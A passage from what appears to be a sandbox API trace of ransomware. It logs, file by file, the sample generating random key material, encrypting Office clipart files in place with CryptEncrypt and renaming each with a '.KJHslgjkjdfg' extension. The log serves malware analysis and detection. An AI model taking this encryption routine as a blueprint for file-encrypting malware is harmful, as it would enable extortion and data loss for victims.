pdwDataLen=0x290f258*=0x40) returned 1 [0187.152] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.152] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.153] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3998, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3998, lpOverlapped=0x0) returned 1 [0187.153] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x39a0, dwBufLen=0x39a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x39a0) returned 1 [0187.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.153] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x39a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x39a0, lpOverlapped=0x0) returned 1 [0187.154] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.154] SetEndOfFile (hFile=0x114) returned 1 [0187.156] GetProcessHeap () returned 0x2a0000 [0187.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.156] GetProcessHeap () returned 0x2a0000 [0187.156] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.156] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.kjhslgjkjdfg")) returned 1 [0187.157] CloseHandle (hObject=0x114) returned 1 [0187.157] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3716500, ftCreationTime.dwHighDateTime=0x1bd4be9, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3716500, ftLastWriteTime.dwHighDateTime=0x1bd4be9, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03513_.WMF", cAlternateFileName="")) returned 1 [0187.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.161] GetProcessHeap () returned 0x2a0000 [0187.161] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.162] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.162] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.162] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0187.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.164] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.164] GetProcessHeap () returned 0x2a0000 [0187.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.164] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.164] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.164] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.164] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.165] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.165] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.165] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.165] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xec4, lpOverlapped=0x0) returned 1 [0187.165] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xed0, dwBufLen=0xed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xed0) returned 1 [0187.165] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.166] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xed0, lpOverlapped=0x0) returned 1 [0187.166] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.166] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.166] SetEndOfFile (hFile=0x114) returned 1 [0187.168] GetProcessHeap () returned 0x2a0000 [0187.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.168] GetProcessHeap () returned 0x2a0000 [0187.168] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.kjhslgjkjdfg")) returned 1 [0187.170] CloseHandle (hObject=0x114) returned 1 [0187.170] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32062000, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32062000, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0x1868, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03668_.WMF", cAlternateFileName="")) returned 1 [0187.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.171] GetProcessHeap () returned 0x2a0000 [0187.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.171] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.173] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.173] GetProcessHeap () returned 0x2a0000 [0187.173] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.173] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.173] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.173] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.173] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.173] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.173] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.173] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.173] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.173] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.173] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.173] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.173] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1868, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1868, lpOverlapped=0x0) returned 1 [0187.174] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870, dwBufLen=0x1870 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1870) returned 1 [0187.174] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.174] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1870, lpOverlapped=0x0) returned 1 [0187.175] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.175] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.175] SetEndOfFile (hFile=0x114) returned 1 [0187.177] GetProcessHeap () returned 0x2a0000 [0187.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.177] GetProcessHeap () returned 0x2a0000 [0187.177] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.177] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.kjhslgjkjdfg")) returned 1 [0187.178] CloseHandle (hObject=0x114) returned 1 [0187.178] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb300a00, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x6cdb1210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb300a00, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03731_.WMF", cAlternateFileName="")) returned 1 [0187.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.179] GetProcessHeap () returned 0x2a0000 [0187.179] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.179] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.182] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.182] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.182] GetProcessHeap () returned 0x2a0000 [0187.182] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.182] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.182] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.182] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.182] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.182] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.182] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.183] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0187.183] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.183] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.183] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9fc, lpOverlapped=0x0) returned 1 [0187.183] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00, dwBufLen=0xa00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa00) returned 1 [0187.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.183] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa00, lpOverlapped=0x0) returned 1 [0187.183] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.183] SetEndOfFile (hFile=0x114) returned 1 [0187.185] GetProcessHeap () returned 0x2a0000 [0187.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0187.185] GetProcessHeap () returned 0x2a0000 [0187.185] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0187.185] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.kjhslgjkjdfg")) returned 1 [0187.187] CloseHandle (hObject=0x114) returned 1 [0187.187] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd176e300, ftCreationTime.dwHighDateTime=0x1bd4be7, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd176e300, ftLastWriteTime.dwHighDateTime=0x1bd4be7, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE03795_.WMF", cAlternateFileName="")) returned 1 [0187.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0187.188] GetProcessHeap () returned 0x2a0000 [0187.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0187.188] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0187.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0187.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0187.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0187.190] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0187.190] GetProcessHeap () returned 0x2a0000 [0187.190] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0187.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0187.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0187.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0187.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0187.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0187.190] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0187.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0187.191] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 